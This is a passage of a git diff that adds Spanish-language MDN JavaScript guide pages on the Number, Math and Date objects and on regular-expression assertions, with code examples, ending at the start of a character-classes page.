+0.1e2 // 10</pre>
+
+<h2 id="El_objeto_Number">El objeto <code>Number</code></h2>
+
+<p>El objeto integrado {{JSxRef("Number")}} tiene propiedades para constantes numéricas, como valor máximo, <code>NaN</code> (no un número) e <code>infinity</code>. No puedes cambiar los valores de estas propiedades y las debes usar de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<p>Siempre haces referencia a una propiedad del objeto <code>Number</code> predefinido como se muestra arriba, y no como una propiedad de un objeto <code>Number</code> que creas tú mismo.</p>
+
+<p>La siguiente tabla resume las propiedades del objeto <code>Number</code>.</p>
+
+<table class="standard-table">
+ <caption>Propiedades de <code>Number</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Number.MAX_VALUE")}}</td>
+   <td>El número representable más grande (<code>±1.7976931348623157e+308</code>)</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.MIN_VALUE")}}</td>
+   <td>El número representable más pequeño (<code>±5e-324</code>)</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.NaN")}}</td>
+   <td>Valor especial <code>not a number</code> ("no es un número")</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.NEGATIVE_INFINITY")}}</td>
+   <td>Valor infinito negativo especial; devuelto por desbordamiento</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.POSITIVE_INFINITY")}}</td>
+   <td>Valor infinito positivo especial; devuelto por desbordamiento</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.EPSILON")}}</td>
+   <td>Diferencia entre <code>1</code> y el valor más pequeño mayor que <code>1</code> que se puede representar como un {{JSxRef("Number")}} (<code>2.220446049250313e-16</code>)</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.MIN_SAFE_INTEGER")}}</td>
+   <td>Número entero seguro mínimo en JavaScript (−2<sup>53</sup> + 1 o <code>−9007199254740991</code>)</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.MAX_SAFE_INTEGER")}}</td>
+   <td>Máximo número entero seguro en JavaScript (+2<sup>53</sup> - 1 o <code>+9007199254740991</code>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Métodos de <code>Number</code></caption>
+ <thead>
+  <tr>
+   <th>Método</th>
+   <th>Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Number.parseFloat()")}}</td>
+   <td>Analiza un argumento de cadena y devuelve un número de punto flotante.<br>
+    Igual que la función {{JSxRef("parseFloat", "parseFloat()")}} global.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.parseInt()")}}</td>
+   <td>Analiza un argumento de cadena y devuelve un número entero de la base o raíz especificada.<br>
+    Igual que la función {{JSxRef("parseInt", "parseInt()")}} global.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.isFinite()")}}</td>
+   <td>Determina si el valor pasado es un número finito.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.isInteger()")}}</td>
+   <td>Determina si el valor pasado es un número entero.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.isNaN()")}}</td>
+   <td>Determina si el valor pasado es {{JSxRef("Objetos_globales/NaN", "NaN")}}. Versión más robusta del {{JSxRef("Objetos_globales/isNaN", "isNaN()")}} global original.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.isSafeInteger()")}}</td>
+   <td>Determina si el valor proporcionado es un número que es un <dfn>entero seguro</dfn>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>El prototipo <code>Number</code> proporciona métodos para recuperar información de objetos <code>Number</code> en varios formatos. La siguiente tabla resume los métodos de <code>Number.prototype</code>.</p>
+
+<table class="standard-table">
+ <caption>Métodos de <code>Number.prototype</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Método</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Number.toExponential", "toExponential()")}}</td>
+   <td>Devuelve una cadena que representa el número en notación exponencial.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.toFixed", "toFixed()")}}</td>
+   <td>Devuelve una cadena que representa el número en notación de punto fijo.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Number.toPrecision", "toPrecision()")}}</td>
+   <td>Devuelve una cadena que representa el número con una precisión especificada en notación de punto fijo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="El_objeto_Math">El objeto <code>Math</code></h2>
+
+<p>El objeto integrado {{JSxRef("Math")}} tiene propiedades y métodos para constantes y funciones matemáticas. Por ejemplo, la propiedad <code>PI</code> del objeto <code>Math</code> tiene el valor de <code>pi</code> (3.141...), que usarías en una aplicación como:</p>
+
+<pre class="brush: js notranslate">Math.PI
+</pre>
+
+<p>De manera similar, las funciones matemáticas estándar son métodos de <code>Math</code>. Estas incluyen funciones trigonométricas, logarítmicas, exponenciales y otras. Por ejemplo, si deseas utilizar la función trigonométrica «seno», debes escribir</p>
+
+<pre class="brush: js notranslate">Math.sin(1.56)
+</pre>
+
+<p>Ten en cuenta que todos los métodos trigonométricos de <code>Math</code> toman argumentos en radianes.</p>
+
+<p>La siguiente tabla resume los métodos del objeto <code>Math</code>.</p>
+
+<table class="standard-table">
+ <caption>Métodos de <code>Math</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Método</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Math.abs", "abs()")}}</td>
+   <td>Valor absoluto</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.sin", "sin()")}}, {{JSxRef("Math.cos", "cos()")}}, {{JSxRef("Math.tan", "tan()")}}</td>
+   <td>Funciones trigonométricas estándar; con el argumento en radianes.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.asin", "asin()")}}, {{JSxRef("Math.acos", "acos()")}}, {{JSxRef("Math.atan", "atan()")}}, {{JSxRef("Math.atan2", "atan2()")}}</td>
+   <td>Funciones trigonométricas inversas; devuelven valores en radianes.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.sinh", "sinh()")}}, {{JSxRef("Math.cosh", "cosh()")}}, {{JSxRef("Math.tanh", "tanh()")}}</td>
+   <td>Funciones hiperbólicas; argumento en ángulo hiperbólico.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.asinh", "asinh()")}}, {{JSxRef("Math.acosh", "acosh()")}}, {{JSxRef("Math.atanh", "atanh()")}}</td>
+   <td>Funciones hiperbólicas inversas; devuelven valores en ángulo hiperbólico.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{JSxRef("Math.pow", "pow()")}}, {{JSxRef("Math.exp", "exp()")}}, {{JSxRef("Math.expm1", "expm1()")}}, {{JSxRef("Math.log10", "log10()")}}, {{JSxRef("Math.log1p", "log1p()")}}, {{JSxRef("Math.log2", "log2()")}}</p>
+   </td>
+   <td>Funciones exponenciales y logarítmicas.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.floor", "floor()")}}, {{JSxRef("Math.ceil", "ceil()")}}</td>
+   <td>Devuelve el entero más grande/más pequeño menor/mayor o igual que un argumento.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.min", "min()")}}, {{JSxRef("Math.max", "max()")}}</td>
+   <td>Devuelven el valor mínimo o máximo (respectivamente) de una lista de números separados por comas como argumentos.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.random", "random()")}}</td>
+   <td>Devuelve un número aleatorio entre 0 y 1.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.round", "round()")}}, {{JSxRef("Math.fround", "fround()")}}, {{JSxRef("Math.trunc", "trunc()")}},</td>
+   <td>Funciones de redondeo y truncamiento.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.sqrt", "sqrt()")}}, {{JSxRef("Math.cbrt", "cbrt()")}}, {{JSxRef("Math.hypot", "hypot()")}}</td>
+   <td>Raíz cuadrada, raíz cúbica, raíz cuadrada de la suma de argumentos cuadrados.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.sign", "sign()")}}</td>
+   <td>El signo de un número, que indica si el número es positivo, negativo o cero.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Math.clz32", "clz32()")}},<br>
+    {{JSxRef("Math.imul", "imul()")}}</td>
+   <td>Número de bits cero iniciales en la representación binaria de 32 bits.<br>
+    El resultado de la multiplicación de 32 bits similar a C de los dos argumentos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>A diferencia de muchos otros objetos, nunca creas un objeto <code>Math</code> propio. Siempre usas el objeto <code>Math</code> incorporado.</p>
+
+<h2 id="El_objeto_Date">El objeto <code>Date</code></h2>
+
+<p>JavaScript no tiene un tipo de dato para fechas. Sin embargo, puedes utilizar el objeto {{JSxRef("Date")}} y sus métodos para trabajar con fechas y horas en tus aplicaciones. El objeto <code>Date</code> tiene una gran cantidad de métodos para establecer, obtener y manipular fechas. Pero no tiene propiedades.</p>
+
+<p>JavaScript maneja las fechas de manera similar a Java. Los dos lenguajes tienen muchos de los mismos métodos de fecha, y ambos lenguajes almacenan fechas como el número de milisegundos desde el 1 de enero de 1970, 00:00:00, con una marca de tiempo Unix que es el número de segundos desde el 1 de enero de 1970, 00: 00:00.</p>
+
+<p>El rango del objeto <code>Date</code> es de -100,000,000 de días a 100,000,000 de días en relación con el 1 de enero de 1970 UTC.</p>
+
+<p>Para crear un objeto <code>Date</code>:</p>
+
+<pre class="brush: js notranslate">var dateObjectName = new Date([parameters]);
+</pre>
+
+<p>donde <code>dateObjectName</code> es el nombre del objeto <code>Date</code> que se está creando; puede ser un objeto nuevo o una propiedad de un objeto existente.</p>
+
+<p>Llamar a <code>Date</code> sin la palabra clave <code>new</code> devuelve una cadena que representa la fecha y hora actuales.</p>
+
+<p>Los parámetros de la sintaxis anterior pueden ser cualquiera de los siguientes:</p>
+
+<ul>
+ <li>Nada: crea la fecha y hora de hoy. Por ejemplo, <code>today = new Date();</code>.</li>
+ <li>Una cadena que representa una fecha en la siguiente forma: "Mes día, año horas:minutos:segundos." Por ejemplo, <code>var Xmas95 = new Date("December 25, 1995 13:30:00")</code>. Si omites horas, minutos o segundos, el valor se establecerá en cero.</li>
+ <li>Un conjunto de valores enteros para año, mes y día. Por ejemplo, <code>var Xmas95 = new Date(1995, 11, 25)</code>.</li>
+ <li>Un conjunto de valores enteros para año, mes, día, hora, minuto y segundos. Por ejemplo, <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0)</code>.</li>
+</ul>
+
+<h3 id="Métodos_del_objeto_Date">Métodos del objeto <code>Date</code></h3>
+
+<p>Los métodos del objeto <code>Date</code> para manejar fechas y horas se incluyen en estas categorías generales:</p>
+
+<ul>
+ <li>métodos establecedores ("<code>set</code>"), para configurar valores de fecha y hora en objetos <code>Date</code>.</li>
+ <li>Métodos captadores ("<code>get</code>"), para obtener valores de fecha y hora de objetos <code>Date</code>.</li>
+ <li>métodos conversores ("<code>to</code>"), para devolver valores de cadena de objetos <code>Date</code>.</li>
+ <li>métodos <code>parse</code> y <code>UTC</code>, para analizar cadenas de <code>Date</code>.</li>
+</ul>
+
+<p>Con los métodos "<code>get</code>" y "<code>set</code>" puedes obtener y establecer segundos, minutos, horas, día del mes, día de la semana, meses y años por separado. Existe un método <code>getDay</code> que devuelve el día de la semana, pero no existe el método <code>setDay</code> correspondiente, porque el día de la semana se establece automáticamente. Estos métodos utilizan números enteros para representar estos valores de la siguiente manera:</p>
+
+<ul>
+ <li>Segundos y minutos: 0 a 59</li>
+ <li>Horas: 0 a 23</li>
+ <li>Día: 0 (Domingo) a 6 (Sábado)</li>
+ <li>Fecha: 1 al 31 (día del mes)</li>
+ <li>Meses: 0 (Enero) a 11 (Diciembre)</li>
+ <li>Año: años desde 1900</li>
+</ul>
+
+<p>Por ejemplo, supongamos que defines la siguiente fecha:</p>
+
+<pre class="brush: js notranslate">var Xmas95 = new Date('December 25, 1995');
+</pre>
+
+<p>Entonces, <code>Xmas95.getMonth()</code> devuelve 11 y <code>Xmas95.getFullYear()</code> devuelve 1995.</p>
+
+<p>Los métodos <code>getTime</code> y <code>setTime</code> son útiles para comparar fechas. El método <code>getTime</code> devuelve el número de milisegundos desde el 1 de enero de 1970, 00:00:00 para un objeto <code>Date</code>.</p>
+
+<p>Por ejemplo, el siguiente código muestra el número de días que quedan en el año actual:</p>
+
+<pre class="brush: js notranslate">var today = new Date();
+var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Establece día y mes
+endYear.setFullYear(today.getFullYear()); // Establece año a este año
+var msPerDay = 24 * 60 * 60 * 1000; // Número de milisegundos por día
+var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay;
+var daysLeft = Math.round(daysLeft); // devuelve los días que quedan en el año
+</pre>
+
+<p>Este ejemplo crea un objeto <code>Date</code> llamado <code>today</code> que contiene la fecha de hoy. Luego crea un objeto <code>Date</code> llamado <code>endYear</code> y establece el año en el año actual. Luego, usando la cantidad de milisegundos por día, calcula la cantidad de días entre <code>today</code> y <code>endYear</code>, usando <code>getTime</code> y redondeando a un número entero de días.</p>
+
+<p>El método <code>parse</code> es útil para asignar valores de cadenas de fecha a objetos <code>Date</code> existentes. Por ejemplo, el siguiente código usa <code>parse</code> y <code>setTime</code> para asignar un valor de fecha al objeto <code>IPOdate</code>:</p>
+
+<pre class="brush: js notranslate">var IPOdate = new Date();
+IPOdate.setTime(Date.parse('Aug 9, 1995'));
+</pre>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<p>En el siguiente ejemplo, la función <code>JSClock()</code> devuelve la hora en el formato de un reloj digital.</p>
+
+<pre class="brush: js notranslate">function JSClock() {
+  var time = new Date();
+  var hour = time.getHours();
+  var minute = time.getMinutes();
+  var second = time.getSeconds();
+  var temp = '' + ((hour &gt; 12) ? hour - 12 : hour);
+  if (hour == 0)
+    temp = '12';
+  temp += ((minute &lt; 10) ? ':0' : ':') + minute;
+  temp += ((second &lt; 10) ? ':0' : ':') + second;
+  temp += (hour &gt;= 12) ? ' P.M.' : ' A.M.';
+  return temp;
+}
+</pre>
+
+<p>La función <code>JSClock</code> primero crea un nuevo objeto <code>Date</code> llamado <code>time</code>; dado que no se dan argumentos, la hora se crea con la fecha y hora actuales. Luego, las llamadas a los métodos <code>getHours</code>, <code>getMinutes</code> y <code>getSeconds</code> asignan el valor de la hora, minuto y segundo actuales a <code>hour</code>, <code>minute</code> y <code>second</code>.</p>
+
+<p>Las siguientes cuatro declaraciones crean un valor de cadena basado en el tiempo. La primera declaración crea una variable <code>temp</code>, asignándole un valor mediante una expresión condicional; si <code>hour</code> es mayor que 12, (<code>hour - 12</code>), de lo contrario, simplemente hora, a menos que la hora sea 0, en cuyo caso se convierte en 12.</p>
+
+<p>La siguiente declaración agrega un valor de <code>minute</code> a <code>temp</code>. Si el valor de <code>minute</code> es menor que 10, la expresión condicional agrega una cadena con un cero precedente; de lo contrario, agrega una cadena con dos puntos de demarcación. Luego, una declaración agrega un valor de segundos a <code>temp</code> de la misma manera.</p>
+
+<p>Finalmente, una expresión condicional agrega "P.M." a <code>temp</code> si <code>hour</code> es 12 o mayor; de lo contrario, agrega "A.M." a <code>temp</code>.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</p>
diff --git a/files/es/web/javascript/guide/regular_expressions/aserciones/index.html b/files/es/web/javascript/guide/regular_expressions/aserciones/index.html
new file mode 100644
index 0000000000..b822cdd2bf
--- /dev/null
+++ b/files/es/web/javascript/guide/regular_expressions/aserciones/index.html
@@ -0,0 +1,247 @@
+---
+title: Aserciones
+slug: Web/JavaScript/Guide/Regular_Expressions/Aserciones
+tags:
+  - Aserciones
+  - Expresiones Regulares
+  - Guía
+  - JavaScript
+  - Referencia
+  - regex
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+
+<p>Las aserciones incluyen límites, que indican el comienzo y el final de líneas y palabras, y otros patrones que indican de alguna manera que el reconocimiento es posible (incluidas las expresiones anticipadas, condicionales e inversas).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-assertions.html", "taller")}}</div>
+
+<h2 id="Tipos">Tipos</h2>
+
+<div class="hidden">La siguiente sección también está duplicada en {{JSxRef("../Guide/Regular_Expressions/Hoja_de_referencia", "esta hoja de trucos")}}. No olvides editarla también, ¡gracias!</div>
+
+<h3 id="Aserciones_de_tipo_límite">Aserciones de tipo límite</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>^</code></td>
+   <td>
+    <p>Coincide con el comienzo de la entrada. Si el indicador multilínea se establece en <code>true</code>, también busca inmediatamente después de un caracter de salto de línea. Por ejemplo, <code>/^A/</code> no coincide con la "A" en "alias A", pero coincide con la primera "A" en "Alias A".</p>
+
+    <div class="blockIndicator note">
+    <p>Este caracter tiene un significado diferente cuando aparece al comienzo de un {{JSxRef("../Guide/Regular_Expressions/Grupos_y_rangos", "grupo")}}.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>$</code></td>
+   <td>
+    <p>Coincide con el final de la entrada. Si el indicador multilínea se establece en <code>true</code>, también busca hasta inmediatamente antes de un caracter de salto de línea. Por ejemplo, <code>/r$/</code> no coincide con la "r" en "espera", pero sí en "esperar".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>
+    <p>Marca el límite de una palabra. Esta es la posición en la que un caracter de palabra no va seguido o precedido por otro caracter de palabra, por ejemplo, entre una letra y un espacio. Ten en cuenta que el límite de una palabra encontrada no se incluye en el resultado. En otras palabras, la longitud de un límite de palabra encontrada es cero.</p>
+
+    <p>Ejemplos:</p>
+
+    <ul>
+     <li><code>/\bl/</code> encuentra la "l" en "luna".</li>
+     <li><code>/un\b/</code> no concuerda con "un" en "luna", porque "un" va seguido de "a", que es un carácter de palabra.</li>
+     <li><code>/una\b/</code> coincide con "una" en "luna", porque "una" es el final de la cadena, por lo tanto no va seguido de un carácter de palabra.</li>
+     <li><code>/\w\b\w/</code> nunca encontrará con nada, porque un caracter de palabra nunca puede ir seguido de un caracter que no sea de palabra y otro de palabra.</li>
+    </ul>
+
+    <p>Para hacer coincidir un carácter de retroceso (<code>[\b]</code>), consulta {{JSxRef("../Guide/Regular_Expressions/Clases_de_caracteres", "Clases de caracteres")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\B</code></td>
+   <td>
+    <p>Coincide con un límite sin palabra. Esta es una posición en la que el caracter anterior y siguiente son del mismo tipo: ambos deben ser palabras o ambos deben ser no palabras, por ejemplo, entre dos letras o entre dos espacios. El principio y el final de una cadena se consideran no palabras. Igual que el límite de palabras encontradas, el límite sin palabras reconocidas tampoco se incluye en el resultado. Por ejemplo, <code>/\Bme/</code> coincide con "me" en "al mediodía", y <code>/ay\B/</code> coincide con "ay" en "posiblemente ayer".</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Otras_aserciones">Otras aserciones</h3>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: El caracter <code>?</code> también se puede utilizar como cuantificador.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>x(?=y)</code></td>
+   <td>
+    <p><strong>Aserción anticipada</strong>: Coincide con "x" solo si "x" va seguida de "y". Por ejemplo, <code>/Jack(?=Sprat)/</code> coincide con "Jack" solo si va seguido de "Sprat".<br>
+     <code>/Jack(?=Sprat|Frost)/</code> coincide con "Jack" solo si va seguido de "Sprat" o "Frost". Sin embargo, ni "Sprat" ni "Frost" forman parte del resultado.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>x(?!y)</code></td>
+   <td>
+    <p><strong>Aserción anticipada negativa</strong>: Coincide con "x" solo si "x" <span> no está seguida de </span>"y"<span>.</span> Por ejemplo, <code>/\d+(?!\.)/</code><span> coincide con un número solo si no va seguido de un punto decimal. </span><code>/\d+(?!\.)/.exec('3.141')</code> coincide con "141" pero no con "3."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;=y)x</code></td>
+   <td>
+    <p><strong>Aserción de búsqueda inversa</strong>: coincide con "x" solo si "x" está precedida por "y". Por ejemplo, <code>/(?&lt;=Jack)Sprat/</code><span> coincide con "Sprat" sólo si va precedida de "Jack". </span><code>/(?&lt;=Jack|Tom)Sprat/</code> coincide con "Sprat" solo si va precedido de "Jack" o "Tom". Sin embargo, ni "Jack" ni "Tom" forman parte del resultado.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;!y)x</code></td>
+   <td>
+    <p><strong>Aserción de búsqueda inversa negativa</strong>: coincide con "x" solo si "x" <em>no</em> está precedida por "y". Por ejemplo, <code>/(?&lt;!-)\d+/</code><span> coincide con un número solo si no está precedido por un signo de menos. </span><code>/(? coincide con "3". <code>/(?&lt;!-)\d+/.exec('-3')</code> no se encuentra la coincidencia porque el número está precedido por el signo menos.</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_de_descripción_de_tipo_límite">Ejemplo de descripción de tipo límite</h3>
+
+<pre class="brush: js notranslate">// Usa límites Regex para arreglar cadenas con errores.
+let multilineaIncorrecta = `tey, la brillante manzena vered
+toy cuelga en una rama del arbol vered`;
+
+// 1) Usa ^ para corregir la coincidencia al principio de la cadena y justo después de la nueva línea.
+multilineaIncorrecta = multilineaIncorrecta.replace(/^t/gim,'h');
+console.log(1, multilineaIncorrecta); // corrige 'tey', 'toy' =&gt; 'hey', 'hoy'.
+
+// 2) Usa $ para arreglar el reconocimiento al final del texto.
+multilineaIncorrecta = multilineaIncorrecta.replace(/ed$/gim,'de');
+console.log(2, multilineaIncorrecta); // corrige  'vered' =&gt; 'verde'.
+
+// 3) Usa \b para encontrar los caracteres justo en el borde entre una palabra y un espacio.
+multilineaIncorrecta = multilineaIncorrecta.replace(/\ba/gim,'á');
+console.log(3, multilineaIncorrecta); // corrige  'arbol' sin tocar nada más.
+
+// 4) Usa \B para encontrar los caracteres dentro de los bordes de una entidad.
+multilineaCorrecta = multilineaIncorrecta.replace(/\Ben/gim,'an');
+console.log(4, multilineaCorrecta); // corrige  'manzena' pero no toca 'en'.
+</pre>
+
+<h3 id="Busca_al_comienzo_de_la_entrada_usando_un_caracter_de_control">Busca al comienzo de la entrada usando un caracter de control <code>^</code></h3>
+
+<p>Usa <code>^</code> para hacer coincidir al comienzo de la entrada. En este ejemplo, podemos obtener las frutas que comienzan con 'A' con una expresión regular <code>/^A/</code>. Para seleccionar las frutas adecuadas, podemos utilizar el método {{JSxRef("Objetos_globales/Array/filter", "filter")}} con un {{JSxRef("Funciones/Arrow_functions", "función flecha")}}.</p>
+
+<pre class="brush: js notranslate">let frutas = ["Manzana", "Sandía", "Naranja", "Aguacate", "Fresa", "Melón"];
+
+// Selecciona frutas que comiencen con 'M' por la Regex /^M/.
+// Aquí se usa el símbolo de control '^' solo en un rol: Reconocer desde el inicio una entrada.
+
+let frutasEmpiezanConM = frutas.filter(fruta =&gt; /^M/.test(fruta));
+console.log(frutasEmpiezanConM); // [ 'Manzana', 'Melón' ]</pre>
+
+<p>En el segundo ejemplo, <code>^</code> se usa tanto para hacer coincidir al comienzo de la entrada como para crear conjuntos de caracteres negados o complementados cuando se usa dentro de {{JSxRef("../Guide/Regular_Expressions/Grupos_y_rangos", "grupos")}}.</p>
+
+<pre class="brush: js notranslate">let frutas = ["Manzana", "Sandía", "Naranja", "Aguacate", "Fresa", "Melón"];
+
+// Seleccionar frutas que no comiencen por 'M' con la regexp /^[^M]/.
+// En este ejemplo, se representan dos significados del símbolo de control '^':
+// 1) Inicio coincidente de la entrada
+// 2) Un conjunto de caracteres negado o complementado: [^M]
+// Es decir, coincide con cualquier cosa que no esté encerrado entre los corchetes.
+
+let frutasNoEmpiezanConM = frutas.filter(fruta =&gt; /^[^M]/.test(fruta));
+
+console.log(frutasNoEmpiezanConM); // [ "Sandía", "Naranja", "Aguacate", "Fresa" ]</pre>
+
+<h3 id="Reconoce_el_límite_de_palabra">Reconoce el límite de palabra</h3>
+
+<pre class="brush: js notranslate">let frutasConDescripcion = ["Manzana roja", "Piña amarilla", "Aguacate verde"];
+
+// Selecciona descripciones que contengan terminaciones de palabras 'ja' o 'de':
+let deJaSeleccion = frutasConDescripcion.filter(descr =&gt; /(de|ja)\b/.test(descr));
+
+console.log(deJaSeleccion); // ["Manzana roja", "Aguacate verde"]</pre>
+
+<h3 id="Aserción_anticipada">Aserción anticipada</h3>
+
+<pre class="brush: js notranslate">// JS aserción anticipada x(?=Y)
+
+let regex = /Primer(?= prueba)/g;
+
+console.log('Primer prueba'.match(regex)); // [ 'Primer' ]
+console.log('Primer melocotón'.match(regex)); // null
+console.log('Esta es mi Primer prueba en un año.'.match(regex)); // [ 'Primer' ]
+console.log('Este es mi Primer melocotón en un mes.'.match(regex)); // null
+</pre>
+
+<h3 id="Aserción_anticipada_negativa_básica">Aserción anticipada negativa básica</h3>
+
+<p>Por ejemplo, <code>/\d+(?!\.)/</code><span> coincide con un número solo si no va seguido de un punto decimal. </span><code>/\d+(?!\.)/.exec('3.141')</code> coincide con "141" pero no con "3."</p>
+
+<pre class="brush: js notranslate">console.log(/\d+(?!\.)/g.exec('3.141')); // [ '141', index: 2, input: '3.141' ]
+</pre>
+
+<h3 id="Diferente_significado_del_uso_de_la_combinación_!_en_aserciones_y_rangos">Diferente significado del uso de la combinación '?!' en aserciones y rangos</h3>
+
+<p>Diferente significado del uso de la combinación <code>?!</code> en {{JSxRef("../Guide/Regular_Expressions/Aserciones", "Aserciones")}} <code>/x(?!y)/</code> y de <code>[^?!]</code> en {{JSxRef("../Guide/Regular_Expressions/Grupos_y_rangos", "Rangos")}}.</p>
+
+<pre class="brush: js notranslate">let naranjaNoLimon = "¿Quieres beber jugo de naranja? ¡Sí, no quiero tomar jugo de limón!";
+
+// Diferente significado del uso de la combinación '?!' en Aserciones /x(?!y)/ y [^?!] en Rangos.
+let regexNoSeleccionaLimon = /[^?!]+beber(?! de limón)[^?!]+[?!]/gi
+console.log(naranjaNoLimon.match(regexNoSeleccionaLimon)); // [ '¿Quieres beber jugo de naranja?' ]
+
+let regexNoSeleccionaNaranja = /[^?!]+tomar(?! de naranja)[^?!]+[?!]/gi
+console.log(naranjaNoLimon.match(regexNoSeleccionaNaranja)); // [ ' ¡Sí, no quiero tomar jugo de limón!' ]
+</pre>
+
+<h3 id="Aserción_inversa">Aserción inversa</h3>
+
+<pre class="brush: js notranslate">let naranjas = ['naranja madura A', 'naranja verde B', 'naranja madura C',];
+
+let naranjas_maduras = naranjas.filter(fruta =&gt; fruta.match(/(?&lt;=naranja) madura/));
+console.log(naranjas_maduras); // [ 'naranja madura A ', 'naranja madura C' ]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-assertion', 'RegExp: Aserciones')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>Para obtener información sobre la compatibilidad del navegador, consulta la {{JSxRef("../Guide/Regular_Expressions", "tabla principal de compatibilidad de expresiones regulares", "#Compatibilidad_del_navegador")}}.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("../Guide/Regular_Expressions", "Guía de expresiones regulares")}}
+  <ul>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Character_Classes", "Clases de caracteres")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Cuantificadores", "Cuantificadores")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Escapes_de_propiedades_Unicode", "Escapes de propiedades Unicode")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Grupos_y_rangos", "Grupos y rangos")}}</li>
+  </ul>
+ </li>
+ <li>{{JSxRef("Objetos_globales/RegExp", "El constructor RegExp()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/guide/regular_expressions/clases_de_caracteres/index.html b/files/es/web/javascript/guide/regular_expressions/clases_de_caracteres/index.html
new file mode 100644
index 0000000000..6de027b270
--- /dev/null
+++ b/files/es/web/javascript/guide/regular_expressions/clases_de_caracteres/index.html
@@ -0,0 +1,220 @@
+---
+title: Clases de caracteres
+slug: Web/JavaScript/Guide/Regular_Expressions/Clases_de_caracteres
+tags:
+  - Expresiones Regulares
+  - Guía
+  - JavaScript
+  - Referencia
+  - RegExp
+  - clases de caracteres
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes
+---
+<p>{{JsSidebar("Guía de JavaScript")}}</p>
+
+<p>Las clases de caracteres distinguen tipos de caracteres como, por ejemplo, distinguen entre letras y dígitos.</p>
+
